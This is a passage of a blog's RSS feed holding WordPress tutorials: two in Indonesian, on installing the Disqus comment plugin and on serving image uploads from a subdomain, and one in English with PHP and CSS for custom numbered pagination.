		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=900</guid>
		<description><![CDATA[Dulu saya males pake Disqus dan tidak tertarik untuk mencobanya. &#8220;Aplikasi pihak ketiga gini lambat, dan ujung-ujungnya nitip brand di web kita&#8221;, begitulah pemikiran saya waktu itu. Sampai pada suatu hari ketika bikin web orang, saya stuck ketika minta sistem komen yang bisa login pake Twitter dan Facebook. Karena tidak ingin membuang-buang waktu, maka saya [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_901" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-1.jpg"><img class="size-medium wp-image-901" title="Disqus Comment System" src="http://img.takien.com/2011/09/disqus-1-300x273.jpg" alt="Disqus Comment System" width="300" height="273" /></a><p class="wp-caption-text">Disqus Comment System</p></div>
<p>Dulu saya males pake <strong>Disqus</strong> dan tidak tertarik untuk mencobanya. &#8220;Aplikasi pihak ketiga gini lambat, dan ujung-ujungnya nitip brand di web kita&#8221;, begitulah pemikiran saya waktu itu. Sampai pada suatu hari ketika bikin web orang, saya stuck ketika minta sistem komen yang bisa login pake Twitter dan Facebook. Karena tidak ingin membuang-buang waktu, maka saya coba Disqus. Eh&#8230; ternyata sesuatu banget. #hammer. Karena tertarik, lalu saya coba juga di blog ini.
<p class="clear"></p>
<p>Kalau anda tertarik mencobanya, berikut <strong>tutorial cara Memasang Komentar Disqus di WordPress</strong>:</p>
<p>1. Pertama mendaftar di Disqus.com dulu, jangan khawatir proses pendaftarannya mudah kok, jadi tidak perlu screenshot. (Padahal lupa <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )</p>
<p>2. Install plugins Disqus dari dashboard, pada kotak pencarian ketikkan <em>disqus</em> lalu tekan enter, maka akan keluar plugin-plugin yang mengandung kata disqus. Pilih <strong>Disqus Comment System </strong>klik, Install Now. (lihat gambar 2)</p>
<div id="attachment_902" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-2.png"><img class="size-medium wp-image-902" title="Cara menginstall plugin Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-2-300x158.png" alt="Cara menginstall plugin Disqus di WordPress" width="300" height="158" /></a><p class="wp-caption-text">Cara menginstall plugin Disqus di WordPress</p></div>
<p>3. Kembali ke web Disqus, kita perlu mendaftarkan blog kita ke Disqus. (Dalam satu akun Disqus, bisa dipake untuk banyak blog/website). Di dashboard Disqus, pada sidebar kiri klik tombol +Add disamping tulisan <strong>Your Sites</strong>. (lihat gambar 3) <div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<div id="attachment_903" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-3.png"><img class="size-medium wp-image-903" title="Mendaftarkan blog ke Disqus" src="http://img.takien.com/2011/09/disqus-3-300x191.png" alt="Mendaftarkan blog ke Disqus" width="300" height="191" /></a><p class="wp-caption-text">Mendaftarkan blog ke Disqus</p></div>
<p>4. Pada halaman selanjutnya, isikan Site URL, Site Name, dan Site Short Name sesuai dengan detail blog Anda. (lihat gambar 4). Kemudian klik Continue.</p>
<div id="attachment_904" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-4.png"><img class="size-medium wp-image-904" title="Mendaftarkan blog ke Disqus" src="http://img.takien.com/2011/09/disqus-4-300x221.png" alt="Mendaftarkan blog ke Disqus" width="300" height="221" /></a><p class="wp-caption-text">Mendaftarkan blog ke Disqus</p></div>
<p>5. Selanjutnya tertuju pada halaman <strong>Settings</strong>, isi setting seperlunya. (Lihat gambar 5). Dalam tahap ini kita bisa menentukan Bahasa, jangan pilih Bahasa Indonesia, karena terjemahannya standard baku (baca : <em>jelek</em>) dan belum merata. Jika Anda trauma spam, isikan juga Akismet API (anti spam). Supaya pengunjung bisa menyisipkan gambar di komentar aktifkan Media Attachment.  Jangan lupa di bagian Twitter @replies isikan dengan username Twitter Anda (jika ada <img src='http://takien.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> ). Klik Continue.</p>
<div id="attachment_905" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-5.png"><img class="size-medium wp-image-905" title="Setting komentar Disqus" src="http://img.takien.com/2011/09/disqus-5-300x269.png" alt="Setting komentar Disqus" width="300" height="269" /></a><p class="wp-caption-text">Setting komentar Disqus</p></div>
<p>6. Tahapan berikutnya, petunjuk untuk instalasi di blog, pilih WordPress (lihat gambar 6). Oh ya, abaikan bagian ini karena kita tadi sudah menginstal plugin Disqus di WordPress.</p>
<div id="attachment_906" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-6.png"><img class="size-medium wp-image-906" title="Cara menginstal Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-6-300x264.png" alt="Cara menginstal Disqus di WordPress" width="300" height="264" /></a><p class="wp-caption-text">Cara menginstal Disqus di WordPress</p></div>
<p>7. Kembali ke dashboard WordPress, buka setting Disqus (di bawah menu Comments). Isikan username dan password Disqus  dan klik Next. (lihat gambar 7)</p>
<div id="attachment_907" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-7.png"><img class="size-medium wp-image-907" title="Username dan passowrd Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-7-300x192.png" alt="Username dan passowrd Disqus di WordPress" width="300" height="192" /></a><p class="wp-caption-text">Username dan passowrd Disqus di WordPress</p></div>
<p>8. Pada halaman selanjutnya, pilih blog yang sudah kita daftarkan di Disqus tadi. Jika Anda mendaftarkan blog lebih dari satu, situs-situs tersebut akan muncul disini. Klik Next. (lihat gambar <img src='http://takien.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> </p>
<div id="attachment_908" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-8.png"><img class="size-medium wp-image-908" title="Pilih blog yang mau dipasang Disqus" src="http://img.takien.com/2011/09/disqus-8-300x189.png" alt="Pilih blog yang mau dipasang Disqus" width="300" height="189" /></a><p class="wp-caption-text">Pilih blog yang mau dipasang Disqus</p></div>
<p>9. Pemasangan Disqus selesai. Jika Anda ingin mengexport komentar yang sudah ada ke Disqus, klik link<em> export them now</em>. (lihat gambar 9)</p>
<div id="attachment_909" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-9.png"><img class="size-medium wp-image-909" title="Cara mengexport/import komentar Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-9-300x145.png" alt="Cara mengexport/import komentar Disqus di WordPress" width="300" height="145" /></a><p class="wp-caption-text">Cara mengexport/import komentar Disqus di WordPress</p></div>
<p>10. Selanjutnya di halaman export/import, klik Export Comments (lihat gambar 10)</p>
<div id="attachment_910" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-10.png"><img class="size-medium wp-image-910" title="Cara mengexport/import komentar Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-10-300x145.png" alt="Cara mengexport/import komentar Disqus di WordPress" width="300" height="145" /></a><p class="wp-caption-text">Cara mengexport/import komentar Disqus di WordPress</p></div>
<p>11. Tunggu sampai muncul tanda check list dan tulisan <em>Your comments have been sent to Disqus and queued for import. </em>Klik link<em> See the status of your import to Disqus</em> untuk melihat status pengimporan Komentar di Disqus <em></em> (lihat gambar 11)</p>
<div id="attachment_911" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-11.png"><img class="size-medium wp-image-911" title="Your comments have been sent to Disqus and queued for import" src="http://img.takien.com/2011/09/disqus-11-300x145.png" alt="Your comments have been sent to Disqus and queued for import" width="300" height="145" /></a><p class="wp-caption-text">Your comments have been sent to Disqus and queued for import</p></div>
<p>12. Status pengimporan komentar di web Disqus (lihat gambar 12). Jangan panik kalau ada tulisan <em>Your import are 0% complete (1 still processing)</em>, karena itu menandakan proses lagi menunggu antrian untuk diimport. Proses bisa memakan waktu 1-10 menit (tergantung banyaknya komentar).  Ketika proses selesai nanti ada notifikasi di email.</p>
<div id="attachment_912" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-12.png"><img class="size-medium wp-image-912" title="Disqus comment import queue" src="http://img.takien.com/2011/09/disqus-12-300x166.png" alt="Disqus comment import queue" width="300" height="166" /></a><p class="wp-caption-text">Disqus comment import queue</p></div>
<p>Selamat berDisqus ria. <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/900/cara-memasang-komentar-disqus-di-wordpress.php/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Membuat Custom URL untuk Attachments Image di WordPress</title>
		<link>http://takien.com/889/membuat-custom-url-untuk-attachments-image-di-wordpress.php</link>
		<comments>http://takien.com/889/membuat-custom-url-untuk-attachments-image-di-wordpress.php#comments</comments>
		<pubDate>Sat, 10 Sep 2011 05:10:44 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=889</guid>
		<description><![CDATA[Pada umumnya URL image/attachment di WordPress adalah http://example.com/wp-content/uploads/, supaya lebih keren kita dapat menggantinya menjadi http://img.example.com/. Mari kita ikuti caranya: 1. Buatlah sebuah sub-domain di cpanel, document Root nya diisi dengan /public_html/wp-content/uploads (lihat gambar 1) &#160; &#160; 2. Di wp-admin, buka menu Settings-&#62;Media 3. Pada field Full URL path to files, isikanhttp://img.example.com/ (lihat gambar 2) [...]]]></description>
			<content:encoded><![CDATA[<p>Pada umumnya URL image/attachment di WordPress adalah <strong>http://example.com/wp-content/uploads/</strong>, supaya lebih keren kita dapat menggantinya menjadi <strong>http://img.example.com/. </strong>Mari kita ikuti caranya:</p>
<p>1. Buatlah sebuah sub-domain di cpanel, document Root nya diisi dengan /public_html/wp-content/uploads (lihat gambar 1)</p>
<p>&nbsp;</p>
<div id="attachment_890" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/subdomain-image.jpg"><img class="size-medium wp-image-890  " title="subdomain-image" src="http://img.takien.com//2011/09/subdomain-image-300x118.jpg" alt="Create sub domain" width="300" height="118" /></a><p class="wp-caption-text">Gambar 1. Create sub domain</p></div>
<p>&nbsp;</p>
<p>2. Di wp-admin, buka menu Settings-&gt;Media</p>
<p>3. Pada field <em>Full URL path to files, </em> isikan<strong>http://img.example.com/</strong> (lihat gambar 2) kemudian klik Save Changes untuk menyimpan setting tersebut.<strong></strong></p>
<div id="attachment_891" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/file-url.jpg"><img class="size-medium wp-image-891 " title="file-url" src="http://img.takien.com//2011/09/file-url-300x86.jpg" alt="Wordpress Full URL path to files" width="300" height="86" /></a><p class="wp-caption-text">Gambar 2: Full URL path to files</p></div>
<p>4. Sekarang coba bikin post baru, upload image dan insert ke post, secara otomatis URL image nya sekarang adalah http://img.example.com/tahun/bulan/nama-file.jpg  (demo: lihat path URL gambar2 attachments diatas).</p>
<p>Sekian, semoga bermanfaat <img src='http://takien.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/889/membuat-custom-url-untuk-attachments-image-di-wordpress.php/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Make Your Own 123 WordPress Paging</title>
		<link>http://takien.com/807/make-your-own-123-wordpress-paging.php</link>
		<comments>http://takien.com/807/make-your-own-123-wordpress-paging.php#comments</comments>
		<pubDate>Tue, 03 May 2011 12:10:12 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=807</guid>
		<description><![CDATA[Hello, In this tutorial I will show you how to make your WordPress paging looks eye-catching without using plugins. But hey, there are many plugins out there could do it automatically without any programming skills required. Yes I know, at least, I assume that you want to do it yourself by using PHP. Yes you [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_826" class="wp-caption alignleft" style="width: 310px"><a href="http://takien.com/wp-content/uploads/2011/05/paging.jpg"><img class="size-medium wp-image-826" title="paging" src="http://takien.com/wp-content/uploads/2011/05/paging-300x203.jpg" alt="Wordpress Paging" width="300" height="203" /></a><p class="wp-caption-text">Wordpress Paging</p></div>
<p>Hello, In this tutorial I will show you how to make your WordPress paging looks eye-catching without using plugins. But hey, there are many plugins out there could do it automatically without any programming skills required. Yes I know, at least, I assume that you want to do it yourself by using PHP. Yes you can do it with easy.</p>
<p>Basically, WordPress has its own built in functions to create paging. So do not have to think about how to write database query or other complex  coding. All we need to do is create a function to generate paging, and call in the theme where you want to paging should appear.</p>
<h2>1. Create a my_wordpress_paging() function in your functions.php under theme directory.</h2>
<div style="clear:both"></div><div class="example" style="margin:10px 0"><p><strong>my_wordpress_paging() function</strong></p><div class="example-contents programlisting"><div class="phpcode"><code><span style="color: #000000">
[raw]&lt;/p&gt;<br />&lt;pre&gt;<br /><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #FF8000">//PAGING<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">my_wordpress_paging</span><span style="color: #007700">(</span><span style="color: #0000BB">$prev</span><span style="color: #007700">=</span><span style="color: #DD0000">'&lt;&lt;&nbsp;Previous'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$next</span><span style="color: #007700">=</span><span style="color: #DD0000">'Next&nbsp;&gt;&gt;'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$currentclass</span><span style="color: #007700">=</span><span style="color: #DD0000">'currentpage'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$pagingclass</span><span style="color: #007700">=</span><span style="color: #DD0000">'navigation'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$echo</span><span style="color: #007700">=</span><span style="color: #0000BB">true</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;</span><span style="color: #0000BB">$wp_query</span><span style="color: #007700">,</span><span style="color: #0000BB">$paged</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$paging_maxpage&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$wp_query</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">max_num_pages</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$paging_current&nbsp;&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$paged&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">$paged&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$paging_prev&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">get_pagenum_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">-</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$paging_next&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">get_pagenum_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">+</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />if(</span><span style="color: #0000BB">$paging_current&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">$paging_maxpage</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$paging_next&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br />}<br />if(</span><span style="color: #0000BB">$paging_current&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$paging_prev&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$pre_output&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'<br />&lt;div&nbsp;class="'</span><span style="color: #007700">.</span><span style="color: #0000BB">$pagingclass</span><span style="color: #007700">.</span><span style="color: #DD0000">'"&gt;'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$pre_output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'<br />&lt;ul&gt;'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$pre_output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000BB">$paging_prev&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;rel="prev"&nbsp;class="nav-previous"&nbsp;href="'</span><span style="color: #007700">.</span><span style="color: #0000BB">$paging_prev</span><span style="color: #007700">.</span><span style="color: #DD0000">'"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$prev</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/a&gt;&lt;/li&gt;<br /><br />'&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br /><br />for(</span><span style="color: #0000BB">$i</span><span style="color: #007700">=</span><span style="color: #0000BB">1</span><span style="color: #007700">;</span><span style="color: #0000BB">$i</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">$paging_maxpage</span><span style="color: #007700">;</span><span style="color: #0000BB">$i</span><span style="color: #007700">++){<br />if(</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;(</span><span style="color: #0000BB">1</span><span style="color: #007700">+</span><span style="color: #0000BB">4</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$pre_output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;'</span><span style="color: #007700">.(</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">==</span><span style="color: #0000BB">$i</span><span style="color: #007700">?</span><span style="color: #DD0000">'class="'</span><span style="color: #007700">.</span><span style="color: #0000BB">$currentclass</span><span style="color: #007700">.</span><span style="color: #DD0000">'"'</span><span style="color: #007700">:</span><span style="color: #DD0000">''</span><span style="color: #007700">).</span><span style="color: #DD0000">'&nbsp;href="'</span><span style="color: #007700">.</span><span style="color: #0000BB">get_pagenum_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$i</span><span style="color: #007700">).</span><span style="color: #DD0000">'"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$i</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/a&gt;'</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">;<br />}<br />elseif((</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;(</span><span style="color: #0000BB">$paging_maxpage</span><span style="color: #007700">-</span><span style="color: #0000BB">5</span><span style="color: #007700">))){<br /></span><span style="color: #0000BB">$output_dot&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;href="#"&gt;...&lt;/a&gt;'</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;if((</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;=&nbsp;</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">+</span><span style="color: #0000BB">1</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$middle&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;'</span><span style="color: #007700">.(</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">==</span><span style="color: #0000BB">$i</span><span style="color: #007700">?</span><span style="color: #DD0000">'class="'</span><span style="color: #007700">.</span><span style="color: #0000BB">$currentclass</span><span style="color: #007700">.</span><span style="color: #DD0000">'"'</span><span style="color: #007700">:</span><span style="color: #DD0000">''</span><span style="color: #007700">).</span><span style="color: #DD0000">'&nbsp;href="'</span><span style="color: #007700">.</span><span style="color: #0000BB">get_pagenum_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$i</span><span style="color: #007700">).</span><span style="color: #DD0000">'"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$i</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/a&gt;'</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">$output_dot2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;href="#"&gt;...&lt;/a&gt;&lt;/li&gt;<br /><br />'</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">;<br />}<br />elseif(</span><span style="color: #0000BB">$i</span><span style="color: #007700">&gt;(</span><span style="color: #0000BB">$paging_maxpage</span><span style="color: #007700">-</span><span style="color: #0000BB">5</span><span style="color: #007700">))&nbsp;{<br /></span><span style="color: #0000BB">$output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;'</span><span style="color: #007700">.(</span><span style="color: #0000BB">$paging_current</span><span style="color: #007700">==</span><span style="color: #0000BB">$i</span><span style="color: #007700">?</span><span style="color: #DD0000">'class="'</span><span style="color: #007700">.</span><span style="color: #0000BB">$currentclass</span><span style="color: #007700">.</span><span style="color: #DD0000">'"'</span><span style="color: #007700">:</span><span style="color: #DD0000">''</span><span style="color: #007700">).</span><span style="color: #DD0000">'&nbsp;href="'</span><span style="color: #007700">.</span><span style="color: #0000BB">get_pagenum_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$i</span><span style="color: #007700">).</span><span style="color: #DD0000">'"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$i</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/a&gt;&lt;/li&gt;<br /><br />'</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">;<br />}<br />}<br /></span><span style="color: #0000BB">$output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000BB">$paging_next&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #DD0000">'<br />&lt;li&gt;&lt;a&nbsp;rel="next"&nbsp;class="nav-next"&nbsp;href="'</span><span style="color: #007700">.</span><span style="color: #0000BB">$paging_next</span><span style="color: #007700">.</span><span style="color: #DD0000">'"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$next</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/a&gt;&lt;/li&gt;<br /><br />'&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'&lt;/ul&gt;<br /><br />'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$output&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'&lt;/div&gt;<br />&lt;div&nbsp;style="clear:both"&gt;&lt;/div&gt;<br /><br />'</span><span style="color: #007700">;<br />if(!</span><span style="color: #0000BB">$middle</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$output_dot2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$outputpaging&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$pre_output</span><span style="color: #007700">.</span><span style="color: #0000BB">$output_dot</span><span style="color: #007700">.</span><span style="color: #0000BB">$middle</span><span style="color: #007700">.</span><span style="color: #0000BB">$output_dot2</span><span style="color: #007700">.</span><span style="color: #0000BB">$output</span><span style="color: #007700">;<br /><br />if(</span><span style="color: #0000BB">$paging_maxpage&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />if(</span><span style="color: #0000BB">$echo</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">$outputpaging</span><span style="color: #007700">;<br />}<br />else{<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$outputpaging</span><span style="color: #007700">;<br />}<br />}<br />}<br /></span><span style="color: #0000BB">?&gt;</span>&lt;/pre&gt;<br />&lt;p&gt;[/raw]</span>
</code></div></div></div>
<h2>2. Call the function in theme file.</h2>
<p>Then in your template (example: index.php, archive.php, category.php etc) paste this code outside the loop:</p>
<div style="clear:both"></div><div class="example" style="margin:10px 0"><div class="example-contents programlisting"><div class="phpcode"><code><span style="color: #000000">
[raw]&lt;&nbsp;?php&nbsp;my_wordpress_paging();?&gt;[/raw]</span>
</code></div></div></div>
<p>If you using <a title="WordPress 3.0 with Twenty Ten Default Theme" href="http://takien.com/599/wordpress-3-0-with-twenty-ten-default-theme.php" target="_blank">TwentyTen</a> theme, open each files named loop-xxx.php and find these lines and replace with code above:</p>
<div style="clear:both"></div><div class="example" style="margin:10px 0"><div class="example-contents programlisting"><div class="phpcode"><code><span style="color: #000000">
[raw]&lt;/p&gt;<br />&lt;pre&gt;<br />&lt;div&nbsp;id="nav-below"&nbsp;class="navigation"&gt;<br />&lt;div&nbsp;class="nav-previous"&gt;<span style="color: #0000BB">&lt;?php&nbsp;previous_post_link</span><span style="color: #007700">(&nbsp;</span><span style="color: #DD0000">'%link'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'&lt;span&nbsp;class="meta-nav"&gt;'&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">_x</span><span style="color: #007700">(&nbsp;</span><span style="color: #DD0000">'&amp;larr;'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'Previous&nbsp;post&nbsp;link'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'twentyten'&nbsp;</span><span style="color: #007700">)&nbsp;.&nbsp;</span><span style="color: #DD0000">'&nbsp;%title'&nbsp;</span><span style="color: #007700">);&nbsp;</span><span style="color: #0000BB">?&gt;</span>&lt;/div&gt;<br />&lt;div&nbsp;class="nav-next"&gt;<span style="color: #0000BB">&lt;?php&nbsp;next_post_link</span><span style="color: #007700">(&nbsp;</span><span style="color: #DD0000">'%link'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'%title&nbsp;&lt;span&nbsp;class="meta-nav"&gt;'&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">_x</span><span style="color: #007700">(&nbsp;</span><span style="color: #DD0000">'&amp;rarr;'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'Next&nbsp;post&nbsp;link'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'twentyten'&nbsp;</span><span style="color: #007700">)&nbsp;.&nbsp;</span><span style="color: #DD0000">''&nbsp;</span><span style="color: #007700">);&nbsp;</span><span style="color: #0000BB">?&gt;</span>&lt;/div&gt;<br />&lt;/div&gt;<br /><br />&lt;!--&nbsp;#nav-below&nbsp;--&gt;<br />&lt;/pre&gt;<br />&lt;p&gt;[/raw]</span>
</code></div></div></div>
<h2>3. Styling</h2>
<p>Here is the basic style css for the paging links, please customize to fit your needs.</p>
<div style="clear:both"></div><div class="example" style="margin:10px 0"><div class="example-contents programlisting"><div class="phpcode"><code><span style="color: #000000">
[raw]&lt;/p&gt;<br />&lt;pre&gt;<br />.navigation{<br />&nbsp;&nbsp;&nbsp;&nbsp;text-align:center;<br />&nbsp;&nbsp;&nbsp;&nbsp;padding:10px;<br />&nbsp;&nbsp;&nbsp;&nbsp;font-size:20px;<br />}<br />&nbsp;.navigation&nbsp;ul&nbsp;li{<br />&nbsp;&nbsp;&nbsp;&nbsp;display:inline;<br />}<br />.navigation&nbsp;ul&nbsp;li&nbsp;a{<br />&nbsp;&nbsp;&nbsp;&nbsp;text-decoration:none;<br />}<br />.navigation&nbsp;ul&nbsp;li&nbsp;a:hover{<br />&nbsp;&nbsp;&nbsp;&nbsp;text-decoration:underline;<br />}<br />&lt;/pre&gt;<br />&lt;p&gt;[/raw]</span>
</code></div></div></div>
<h2>4. Parameters</h2>
